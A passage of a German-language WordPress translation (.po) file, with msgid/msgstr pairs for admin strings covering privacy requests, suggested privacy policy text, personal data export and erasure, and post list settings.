wp-admin/includes/class-wp-privacy-requests-table.php:300 msgid "%d request marked as complete." msgid_plural "%d requests marked as complete." msgstr[0] "%d Anfrage wurde als erledigt markiert." msgstr[1] "%d Anfragen wurden als erledigt markiert." #. translators: %d: Number of requests. #: wp-admin/includes/class-wp-privacy-requests-table.php:273 msgid "%d confirmation request re-sent successfully." msgid_plural "%d confirmation requests re-sent successfully." msgstr[0] "%d Bestätigungsanforderung wurde erfolgreich erneut gesendet." msgstr[1] "%d Bestätigungsanforderungen wurde erfolgreich erneut gesendet." #. translators: %d: Number of requests. #: wp-admin/includes/class-wp-privacy-requests-table.php:256 msgid "%d confirmation request failed to resend." msgid_plural "%d confirmation requests failed to resend." msgstr[0] "%d Bestätigungsanforderung konnte nicht erneut gesendet werden." msgstr[1] "%d Bestätigungsanforderungen konnte nicht erneut gesendet werden." #: wp-admin/includes/class-wp-privacy-requests-table.php:215 msgid "Delete requests" msgstr "Anfragen löschen" #: wp-admin/includes/class-wp-privacy-requests-table.php:214 msgid "Mark requests as completed" msgstr "Anfragen als erledigt markieren" #: wp-admin/includes/class-wp-privacy-requests-table.php:213 msgid "Resend confirmation requests" msgstr "Bestätigungsanfragen erneut senden" #. translators: %s: Number of requests. #: wp-admin/includes/class-wp-privacy-requests-table.php:157 msgctxt "requests" msgid "All <span class=\"count\">(%s)</span>" msgid_plural "All <span class=\"count\">(%s)</span>" msgstr[0] "Alle <span class=\"count\">(%s)</span>" msgstr[1] "Alle <span class=\"count\">(%d)</span>" #: wp-admin/includes/class-wp-privacy-requests-table.php:46 msgid "Next steps" msgstr "Nächste Schritte" #: wp-admin/includes/class-wp-privacy-requests-table.php:45 msgid "Requested" msgstr "Angefragt" #: wp-admin/includes/class-wp-privacy-requests-table.php:43 msgid "Requester" msgstr "Antragstellende Person" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:648 msgid "If you are a member of a regulated industry, or if you are subject to additional privacy laws, you may be required to disclose that information here." msgstr "Wenn du einer regulierten Branche angehörst oder zusätzlichen Datenschutzgesetzen unterliegst, bist du möglicherweise verpflichtet, diese Informationen hier offenzulegen." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:646 msgid "Industry regulatory disclosure requirements" msgstr "Vorausgesetzte Offenlegungspflichten der Industrie" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:641 msgid "If your web site provides a service which includes automated decision making - for example, allowing customers to apply for credit, or aggregating their data into an advertising profile - you must note that this is taking place, and include information about how that information is used, what decisions are made with that aggregated data, and what rights users have over decisions made without human intervention." msgstr "Falls deine Website einen Dienst anbietet, der automatisierte Entscheidungsfindung beinhaltet, z. B. für Kreditanfragen von Benutzern oder das Sammeln derer Daten für ein Werbeprofil, musst du darauf hinweisen, dass dies geschiet. Und desweiteren Informationen darüber anbieten, wie diese Informationen genutzt werden, welche Entscheidungen aufgrund dieser zusammengetragenen Daten getroffen werden und welche Rechte Benutzer an den Entscheidungen haben, die ohne menschliches Zutun getroffen werden." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:639 msgid "What automated decision making and/or profiling we do with user data" msgstr "Welche automatisierte Entscheidungsfindung und/oder Profilerstellung wir mit Benutzerdaten durchführen" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:634 msgid "If your web site receives data about users from third parties, including advertisers, this information must be included within the section of your privacy policy dealing with third party data." msgstr "Falls deine Website von Dritten Daten über Benutzer erhält, inklusive Werbetreibenden, muss diese Information innerhalb des Abschnitts deiner Datenschutzerklärung enthalten sein, der Auskunft über Daten von Dritten gibt." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:632 msgid "What third parties we receive data from" msgstr "Von welchen Drittanbietern wir Daten erhalten" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:627 msgid "In this section you should explain what procedures you have in place to deal with data breaches, either potential or real, such as internal reporting systems, contact mechanisms, or bug bounties." msgstr "In diesem Bereich solltest du erläutern, welche Maßnahmen du ergriffen hast, um mit potentiellen oder realen Datenlecks umzugehen, beispielsweise interne Reporting-Systeme, Kontaktmechanismen oder Bug-Bounty-Programme." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:625 msgid "What data breach procedures we have in place" msgstr "Welche Maßnahmen wir bei Datenschutzverletzungen anbieten" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:620 msgid "In this section you should explain what measures you have taken to protect your users’ data. This could include technical measures such as encryption; security measures such as two factor authentication; and measures such as staff training in data protection. If you have carried out a Privacy Impact Assessment, you can mention it here too." msgstr "In diesem Bereich solltest du erläutern, welche Maßnahmen du ergriffen hast, um deine Benutzerdaten zu schützen. Dies umfasst technische Maßnahmen wie Verschlüsselung, Sicherheitsmaßnahmen wie Zwei-Faktor-Authentifizierung und menschliche Faktoren wie Datenschutz-Schulungen für die Mitarbeiter. Wenn du eine Datenschutz-Folgenabschätzung erstellt hast, kannst du sie hier auch erwähnen." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:618 msgid "How we protect your data" msgstr "Wie wir deine Daten schützen" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:613 msgid "If you use your site for commercial purposes and you engage in more complex collection or processing of personal data, you should note the following information in your privacy policy in addition to the information we have already discussed." msgstr "Wenn du deine Website für kommerzielle Zwecke nutzt und weitergehende personenbezogene Daten sammelst bzw. verarbeitest, solltest du die folgende Information in deine Datenschutzerklärung aufnehmen, zusätzlich zu den Informationen, die wir bereits erwähnt haben." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:611 msgid "Additional information" msgstr "Weitere Informationen" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:606 msgid "In this section you should provide a contact method for privacy-specific concerns. If you are required to have a Data Protection Officer, list their name and full contact details here as well." msgstr "In diesem Bereich solltest du eine Kontaktmöglichkeit für datenschutzrelevante Anliegen anbieten. Wenn du einen Datenschutzbeauftragten einsetzt, führe den Namen und die vollständigen Kontaktdaten hier ebenfalls auf." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:604 msgid "Contact information" msgstr "Kontaktinformationen" #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:599 msgid "Visitor comments may be checked through an automated spam detection service." msgstr "Besucher-Kommentare könnten von einem automatisierten Dienst zur Spam-Erkennung untersucht werden." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:596 msgid "European data protection law requires data about European residents which is transferred outside the European Union to be safeguarded to the same standards as if the data was in Europe. So in addition to listing where data goes, you should describe how you ensure that these standards are met either by yourself or by your third party providers, whether that is through an agreement such as Privacy Shield, model clauses in your contracts, or binding corporate rules." msgstr "" "Das europäische Datenschutzgesetz sieht vor, dass Daten über europäische Bewohner, die außerhalb der EU übertragen werden, mit denselben Standards geschützt werden müssen, als wenn die Daten in Europa verarbeitet würden.\n" "Zusätzlich zu einer Auflistung, wohin die Daten übertragen werden, solltest du beschreiben, wie die Einhaltung der Standards durch dich oder Drittanbieter gewährleistet wird und ob dies durch eine Vereinbarung wie das Privacy Shield, eigene Vertragsklauseln oder auch Unternehmensrichtlinien erreicht wird." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:594 msgid "In this section you should list all transfers of your site data outside the European Union and describe the means by which that data is safeguarded to European data protection standards. This could include your web hosting, cloud storage, or other third party services." msgstr "In diesem Bereich solltest du alle Übertragungen der Daten von deiner Website mit Ziel außerhalb der EU aufführen und die Methoden beschreiben, mit denen die Daten nach dem europäischen Datenschutzbestimmungen geschützt werden. Dies kann dein Webhosting, deinen Cloud-Speicher oder andere Drittanbieter-Dienste betreffen." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:590 msgid "Where we send your data" msgstr "Wohin wir deine Daten senden" #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:586 msgid "If you have an account on this site, or have left comments, you can request to receive an exported file of the personal data we hold about you, including any data you have provided to us. You can also request that we erase any personal data we hold about you. This does not include any data we are obliged to keep for administrative, legal, or security purposes." msgstr "Wenn du ein Konto auf dieser Website besitzt oder Kommentare geschrieben hast, kannst du einen Export deiner personenbezogenen Daten bei uns anfordern, inklusive aller Daten, die du uns mitgeteilt hast. Darüber hinaus kannst du die Löschung aller personenbezogenen Daten, die wir von dir gespeichert haben, anfordern. Dies umfasst nicht die Daten, die wir aufgrund administrativer, rechtlicher oder sicherheitsrelevanter Notwendigkeiten aufbewahren müssen." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:583 msgid "In this section you should explain what rights your users have over their data and how they can invoke those rights." msgstr "In diesem Abschnitt solltest du erklären, welche Datenschutzrechte die Benutzer deiner Website haben und wie sie diese geltend machen können." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:579 msgid "What rights you have over your data" msgstr "Welche Rechte du an deinen Daten hast" #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:575 msgid "For users that register on our website (if any), we also store the personal information they provide in their user profile. All users can see, edit, or delete their personal information at any time (except they cannot change their username). Website administrators can also see and edit that information." msgstr "Für Benutzer, die sich auf unserer Website registrieren, speichern wir zusätzlich die persönlichen Informationen, die sie in ihren Benutzerprofilen angeben. Alle Benutzer können jederzeit ihre persönlichen Informationen einsehen, verändern oder löschen (der Benutzername kann nicht verändert werden). Administratoren der Website können diese Informationen ebenfalls einsehen und verändern." #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:573 msgid "If you leave a comment, the comment and its metadata are retained indefinitely. This is so we can recognize and approve any follow-up comments automatically instead of holding them in a moderation queue." msgstr "Wenn du einen Kommentar schreibst, wird dieser inklusive Metadaten zeitlich unbegrenzt gespeichert. Auf diese Art können wir Folgekommentare automatisch erkennen und freigeben, anstatt sie in einer Moderations-Warteschlange festzuhalten." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:570 msgid "In this section you should explain how long you retain personal data collected or processed by the web site. While it is your responsibility to come up with the schedule of how long you keep each dataset for and why you keep it, that information does need to be listed here. For example, you may want to say that you keep contact form entries for six months, analytics records for a year, and customer purchase records for ten years." msgstr "In diesem Bereich solltest du erläutern, wie lange du die personenbezogenen Daten, die du gesammelt oder verarbeitet hast, aufbewahrst. Während es in deiner Verantwortung liegt, eine Übersicht darüber, wie lange du jeden einzelnen Datensatz aufbewahrst und warum du das machst, zu erstellen, musst du diese hier im Detail aufführen. Beispielsweise kannst du eintragen, dass du Kontaktformulardaten für sechs Monate, Statistikdaten für ein Jahr und Bestelldaten für zehn Jahre aufbewahrst." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:566 msgid "How long we retain your data" msgstr "Wie lange wir deine Daten speichern" #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:562 msgid "If you request a password reset, your IP address will be included in the reset email." msgstr "Wenn du eine Zurücksetzung des Passworts beantragst, wird deine IP-Adresse in der E-Mail zur Zurücksetzung enthalten sein." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:559 msgid "By default WordPress does not share any personal data with anyone." msgstr "Standardmäßig teilt WordPress keinerlei personenbezogene Daten mit Dritten." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:557 msgid "In this section you should name and list all third party providers with whom you share site data, including partners, cloud-based services, payment processors, and third party service providers, and note what data you share with them and why. Link to their own privacy policies if possible." msgstr "In diesem Abschnitt solltest du alle Drittanbieter mit Namen auflisten, mit denen du Daten der Website teilst, inklusive Partner, Cloud-basierte Dienstleister, Zahlungsdienstleister und Dritt-Dienstanbieter und aufzeigen, welche Daten du mit ihnen teilst und warum. Falls möglich füge Links zu deren eigenen Datenschutzbestimmungen hinzu." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:553 msgid "Who we share your data with" msgstr "Mit wem wir deine Daten teilen" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:549 msgid "By default WordPress does not collect any analytics data. However, many web hosting accounts collect some anonymous analytics data. You may also have installed a WordPress plugin that provides analytics services. In that case, add information from that plugin here." msgstr "Standardmäßig sammelt WordPress keine Analysedaten. Allerdings sammeln viele Webhosting-Konten einige anonyme Analysedaten. Möglicherweise hast du auch ein WordPress-Plugin installiert, das Analysedienste bereitstellt. In diesem Fall füge Informationen aus diesem Plugin hier hinzu." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:547 msgid "In this subsection you should note what analytics package you use, how users can opt out of analytics tracking, and a link to your analytics provider’s privacy policy, if any." msgstr "In diesem Unterabschnitt solltest du angeben, welche Analysedienste du verwendest, wie Benutzer das Analyse-Tracking ablehnen können sowie einen Link zur Datenschutzerklärung deines Analysedienst-Anbieters einfügen, falls vorhanden." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:545 msgid "Analytics" msgstr "Analysedienste" #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:540 msgid "These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website." msgstr "Diese Websites können Daten über dich sammeln, Cookies benutzen, zusätzliche Tracking-Dienste von Dritten einbetten und deine Interaktion mit diesem eingebetteten Inhalt aufzeichnen, inklusive deiner Interaktion mit dem eingebetteten Inhalt, falls du ein Konto hast und auf dieser Website angemeldet bist." #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:538 msgid "Articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website." msgstr "Beiträge auf dieser Website können eingebettete Inhalte beinhalten (z. B. Videos, Bilder, Beiträge etc.). Eingebettete Inhalte von anderen Websites verhalten sich exakt so, als ob der Besucher die andere Website besucht hätte." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:536 msgid "Embedded content from other websites" msgstr "Eingebettete Inhalte von anderen Websites" #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:531 msgid "If you edit or publish an article, an additional cookie will be saved in your browser. This cookie includes no personal data and simply indicates the post ID of the article you just edited. It expires after 1 day." msgstr "Wenn du einen Artikel bearbeitest oder veröffentlichst, wird ein zusätzlicher Cookie in deinem Browser gespeichert. Dieser Cookie enthält keine personenbezogenen Daten und verweist nur auf die Beitrags-ID des Artikels, den du gerade bearbeitet hast. Der Cookie verfällt nach einem Tag." #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:529 msgid "When you log in, we will also set up several cookies to save your login information and your screen display choices. Login cookies last for two days, and screen options cookies last for a year. If you select "Remember Me", your login will persist for two weeks. If you log out of your account, the login cookies will be removed." msgstr "Wenn du dich anmeldest, werden wir einige Cookies einrichten, um deine Anmeldeinformationen und Anzeigeoptionen zu speichern. Anmelde-Cookies verfallen nach zwei Tagen und Cookies für die Anzeigeoptionen nach einem Jahr. Falls du bei der Anmeldung „Angemeldet bleiben“ auswählst, wird deine Anmeldung zwei Wochen lang aufrechterhalten. Mit der Abmeldung aus deinem Konto werden die Anmelde-Cookies gelöscht." #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:527 msgid "If you visit our login page, we will set a temporary cookie to determine if your browser accepts cookies. This cookie contains no personal data and is discarded when you close your browser." msgstr "Falls du ein Konto hast und dich auf dieser Website anmeldest, werden wir ein temporäres Cookie setzen, um festzustellen, ob dein Browser Cookies akzeptiert. Dieses Cookie enthält keine personenbezogenen Daten und wird verworfen, wenn du deinen Browser schließt." #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:525 msgid "If you leave a comment on our site you may opt-in to saving your name, email address and website in cookies. These are for your convenience so that you do not have to fill in your details again when you leave another comment. These cookies will last for one year." msgstr "Wenn du einen Kommentar auf unserer Website schreibst, kann das eine Einwilligung sein, deinen Namen, E-Mail-Adresse und Website in Cookies zu speichern. Dies ist eine Komfortfunktion, damit du nicht, wenn du einen weiteren Kommentar schreibst, all diese Daten erneut eingeben musst. Diese Cookies werden ein Jahr lang gespeichert." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:522 msgid "In this subsection you should list the cookies your web site uses, including those set by your plugins, social media, and analytics. We have provided the cookies which WordPress installs by default." msgstr "In diesem Unterabschnitt solltest du die Cookies auflisten, die deine Website benutzt, inklusive solcher, die deine Plugins, soziale Medien und Analysedienste setzen. Wir haben die Cookies angegeben, die WordPress standardmäßig installiert." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:518 msgid "Cookies" msgstr "Cookies" #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:514 msgid "By default, WordPress does not include a contact form. If you use a contact form plugin, use this subsection to note what personal data is captured when someone submits a contact form, and how long you keep it. For example, you may note that you keep contact form submissions for a certain period for customer service purposes, but you do not use the information submitted through them for marketing purposes." msgstr "Standardmäßig beinhaltet WordPress kein Kontaktformular. Falls du ein Kontaktformular-Plugin benutzt, nutze diesen Unterabschnitt, um anzugeben, welche personenbezogenen Daten bei der Übermittlung eines Kontaktformulars aufgezeichnet werden und wie lange du sie speicherst. Du könntest zum Beispiel angeben, dass übermittelte Kontaktformulare für den Kundenservice für eine bestimmte Zeit gespeichert werden, während du solche nicht für Marketing-Zwecke verwendest." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:512 msgid "Contact forms" msgstr "Kontaktformulare" #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:507 msgid "If you upload images to the website, you should avoid uploading images with embedded location data (EXIF GPS) included. Visitors to the website can download and extract any location data from images on the website." msgstr "Wenn du ein registrierter Benutzer bist und Fotos auf diese Website lädst, solltest du vermeiden, Fotos mit einem EXIF-GPS-Standort hochzuladen. Besucher dieser Website könnten Fotos, die auf dieser Website gespeichert sind, herunterladen und deren Standort-Informationen extrahieren." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:504 msgid "In this subsection you should note what information may be disclosed by users who can upload media files. All uploaded files are usually publicly accessible." msgstr "In diesem Unterabschnitt solltest du angeben, welche Informationen von Benutzern offengelegt werden, die Mediendateien hochladen können. Auf alle hochgeladenen Dateien kann in der Regel öffentlich zugegriffen werden." #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:496 msgid "An anonymized string created from your email address (also called a hash) may be provided to the Gravatar service to see if you are using it. The Gravatar service privacy policy is available here: https://automattic.com/privacy/. After approval of your comment, your profile picture is visible to the public in the context of your comment." msgstr "Aus deiner E-Mail-Adresse kann eine anonymisierte Zeichenfolge erstellt (auch Hash genannt) und dem Gravatar-Dienst übergeben werden, um zu prüfen, ob du diesen benutzt. Die Datenschutzerklärung des Gravatar-Dienstes findest du hier: https://automattic.com/privacy/. Nachdem dein Kommentar freigegeben wurde, ist dein Profilbild öffentlich im Kontext deines Kommentars sichtbar." #. translators: Default privacy policy text. #: wp-admin/includes/class-wp-privacy-policy-content.php:494 msgid "When visitors leave comments on the site we collect the data shown in the comments form, and also the visitor’s IP address and browser user agent string to help spam detection." msgstr "Wenn Besucher Kommentare auf der Website schreiben, sammeln wir die Daten, die im Kommentar-Formular angezeigt werden, außerdem die IP-Adresse des Besuchers und den User-Agent-String (damit wird der Browser identifiziert), um die Erkennung von Spam zu unterstützen." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:491 msgid "In this subsection you should note what information is captured through comments. We have noted the data which WordPress collects by default." msgstr "In diesem Unterabschnitt solltest du angeben, welche Informationen in Kommentaren erfasst werden. Wir haben die Daten angegeben, die WordPress standardmäßig sammelt." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:483 msgid "By default WordPress does not collect any personal data about visitors, and only collects the data shown on the User Profile screen from registered users. However some of your plugins may collect personal data. You should add the relevant information below." msgstr "Standardmäßig sammelt WordPress keine personenbezogenen Daten über Benutzer und sammelt nur die Daten, die im Profil eines registrierten Benutzers angezeigt werden. Einige deiner Plugins können aber zusätzliche personenbezogene Daten sammeln, füge die relevanten Informationen unten hinzu." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:481 msgid "Personal data is not just created by a user’s interactions with your site. Personal data is also generated from technical processes such as contact forms, comments, cookies, analytics, and third party embeds." msgstr "Personenbezogene Daten werden nicht nur bei Interaktionen eines Benutzers mit deiner Website erstellt. Personenbezogene Daten werden auch bei technischen Prozessen wie bei Kontaktformularen, Kommentaren, Cookies, Analysewerkzeugen und Einbettungen von Drittanbietern erzeugt." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:479 msgid "In addition to listing what personal data you collect, you need to note why you collect it. These explanations must note either the legal basis for your data collection and retention or the active consent the user has given." msgstr "Zusätzlich zur der Auflistung der Art personenbezogener Daten, die du sammelst, musst du den Grund dafür darlegen. Diese Erklärungen müssen entweder die Rechtsgrundlage der Sammlung und Speicherung von Daten erwähnen oder die Einverständniserklärung, in die der Benutzer eingewilligt hat." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:477 msgid "You should also note any collection and retention of sensitive personal data, such as data concerning health." msgstr "Du musst auch jede Erfassung und Speicherung sensibler personenbezogener Daten, wie Gesundheitsdaten, deutlich machen." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:475 msgid "In this section you should note what personal data you collect from users and site visitors. This may include personal data, such as name, email address, personal account preferences; transactional data, such as purchase information; and technical data, such as information about cookies." msgstr "In diesem Abschnitt solltest du angeben, welche personenbezogenen Daten du von Benutzern und Besuchern deiner Website sammelst. Dies können personenbezogene Daten wie Name, E-Mail-Adresse, persönliche Kontoeinstellungen, Transaktionsdaten wie z. B. Kaufinformationen sowie technische Daten wie z. B. Informationen über Cookies sein." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:473 msgid "What personal data we collect and why we collect it" msgstr "Welche personenbezogenen Daten wir sammeln und warum wir sie sammeln" #. translators: Default privacy policy text. %s: Site URL. #: wp-admin/includes/class-wp-privacy-policy-content.php:468 msgid "Our website address is: %s." msgstr "Die Adresse unserer Website ist: %s." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:465 msgid "The amount of information you may be required to show will vary depending on your local or national business regulations. You may, for example, be required to display a physical address, a registered address, or your company registration number." msgstr "Der Umfang der Informationen, für die es erforderlich sein kann, sie anzuzeigen, wird in Abhängigkeit von deinen lokalen oder nationalen Geschäftsordnungen variieren. Es kann zum Beispiel erforderlich sein, deine physische Adresse, eine registrierte Adresse oder die Registernummer deines Unternehmens anzugeben." #. translators: Privacy policy tutorial. #: wp-admin/includes/class-wp-privacy-policy-content.php:463 msgid "In this section you should note your site URL, as well as the name of the company, organization, or individual behind it, and some accurate contact information." msgstr "In diesem Abschnitt solltest du die URL deiner Website nennen sowie den Namen des Unternehmens, der Organisation oder des Individuums hinter dem Projekt und auch korrekte Kontakt-Informationen." #. translators: Default privacy policy heading. #: wp-admin/includes/class-wp-privacy-policy-content.php:459 msgid "Who we are" msgstr "Wer wir sind" #: wp-admin/includes/class-wp-privacy-policy-content.php:449 msgid "Suggested text:" msgstr "Textvorschlag:" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-privacy-policy-content.php:427 msgid "Copy suggested policy text from %s." msgstr "Vorgeschlagenen Datenschutz-Text von %s kopieren." #: wp-admin/includes/class-wp-privacy-policy-content.php:423 msgid "Copy suggested policy text to clipboard" msgstr "Den vorgeschlagenen Richtlinientext in die Zwischenablage kopieren" #. translators: %s: Date of privacy policy text update. #: wp-admin/includes/class-wp-privacy-policy-content.php:398 msgid "Updated %s." msgstr "Aktualisiert am %s." #. translators: %s: Date of plugin deactivation. #: wp-admin/includes/class-wp-privacy-policy-content.php:392 msgid "You deactivated this plugin on %s and may no longer need this policy." msgstr "Du hast dieses Plugin am %s deaktiviert und benötigst möglicherweise dessen Datenschutzerklärung nicht mehr." #. translators: %s: Date of plugin deactivation. #: wp-admin/includes/class-wp-privacy-policy-content.php:389 msgid "Removed %s." msgstr "Gelöscht am %s." #: wp-admin/includes/class-wp-privacy-policy-content.php:332 msgid "View Privacy Policy Guide." msgstr "Anleitung zur Datenschutzerklärung anzeigen." #: wp-admin/includes/class-wp-privacy-policy-content.php:330 msgid "Need help putting together your new Privacy Policy page? Check out our guide for recommendations on what content to include, along with policies suggested by your plugins and theme." msgstr "Brauchst du Hilfe beim Zusammenstellen deiner neuen Seite zur Datenschutzerklärung? Informiere dich in unserem Leitfaden über Empfehlungen zu den zu integrierenden Inhalten sowie über die von deinen Plugins und deinem Theme vorgeschlagenen Richtlinien." #. translators: %s: Privacy Policy Guide URL. #: wp-admin/includes/class-wp-privacy-policy-content.php:144 msgid "The suggested privacy policy text has changed. Please <a href=\"%s\">review the guide</a> and update your privacy policy." msgstr "Der Textvorschlag für die Datenschutzerklärung hat sich geändert. Bitte <a href=\"%s\">lies den Leitfaden</a> und aktualisiere deine Datenschutzerklärung." #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:142 msgid "Data erasure has failed." msgstr "Die Datenlöschung ist fehlgeschlagen." #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:139 msgid "Erase personal data" msgstr "Personenbezogene Daten löschen" #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:68 msgid "Force erasure has failed." msgstr "Erzwungenes Löschen ist gescheitert." #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:67 #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:141 msgid "Erasure completed." msgstr "Der Löschvorgang ist abgeschlossen." #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:66 #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:140 msgid "Erasing data..." msgstr "Daten löschen..." #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:65 msgid "Force erase personal data" msgstr "Löschen personenbezogener Daten erzwingen" #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:156 #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:163 msgid "Remove request" msgstr "Anfrage entfernen" #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:136 msgid "Email could not be sent." msgstr "E-Mail konnte nicht gesendet werden." #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:135 msgid "Email sent." msgstr "E-Mail gesendet." #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:134 msgid "Sending email..." msgstr "Versende E-Mail..." #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:133 msgid "Send export link" msgstr "Export-Link senden" #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:116 #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:122 msgid "Waiting for confirmation" msgstr "Warten auf Bestätigung" #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:92 #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:98 msgid "Complete request" msgstr "Anfrage abschließen" #. translators: %s: Request email. #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:88 #: wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:94 msgid "Mark export request for “%s” as completed." msgstr "Markiere die Exportanfrage für „%s“ als erledigt." #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:63 #: wp-admin/includes/class-wp-upgrader.php:159 msgid "Download failed." msgstr "Download fehlgeschlagen." #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:62 msgid "Download personal data again" msgstr "Personenbezogene Daten erneut herunterladen" #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:61 msgid "Downloading data..." msgstr "Lade Daten herunter..." #: wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:60 msgid "Download personal data" msgstr "Personenbezogene Daten herunterladen" #: wp-admin/includes/class-wp-posts-list-table.php:1874 msgid "Make this post sticky" msgstr "Beitrag oben halten" #: wp-admin/includes/class-wp-posts-list-table.php:1866 msgid "Not Sticky" msgstr "Nicht oben halten" #: wp-admin/includes/class-wp-posts-list-table.php:1862 #: wp-admin/includes/class-wp-posts-list-table.php:1865 msgid "Sticky" msgstr "Oben halten" #: wp-admin/includes/class-wp-posts-list-table.php:1824 msgid "Allow Pings" msgstr "Pings erlauben" #: wp-admin/includes/class-wp-posts-list-table.php:1815 msgid "Allow Comments" msgstr "Erlaube Kommentare" #: wp-admin/includes/class-wp-posts-list-table.php:1786 #: wp-admin/includes/class-wp-posts-list-table.php:1799 msgid "Do not allow" msgstr "Nicht erlauben" #: wp-admin/includes/class-wp-posts-list-table.php:1785 #: wp-admin/includes/class-wp-posts-list-table.php:1798 msgid "Allow" msgstr "Erlauben" #: wp-admin/includes/class-wp-posts-list-table.php:1697 msgid "Main Page (no parent)" msgstr "Hauptseite (keine Übergeordnete)" #: wp-admin/includes/class-wp-posts-list-table.php:1691 #: wp-admin/includes/meta-boxes.php:967 msgid "Parent" msgstr "Eltern" #. translators: Between password field and private checkbox on post quick edit #. interface. #: wp-admin/includes/class-wp-posts-list-table.php:1643 msgid "–OR–" 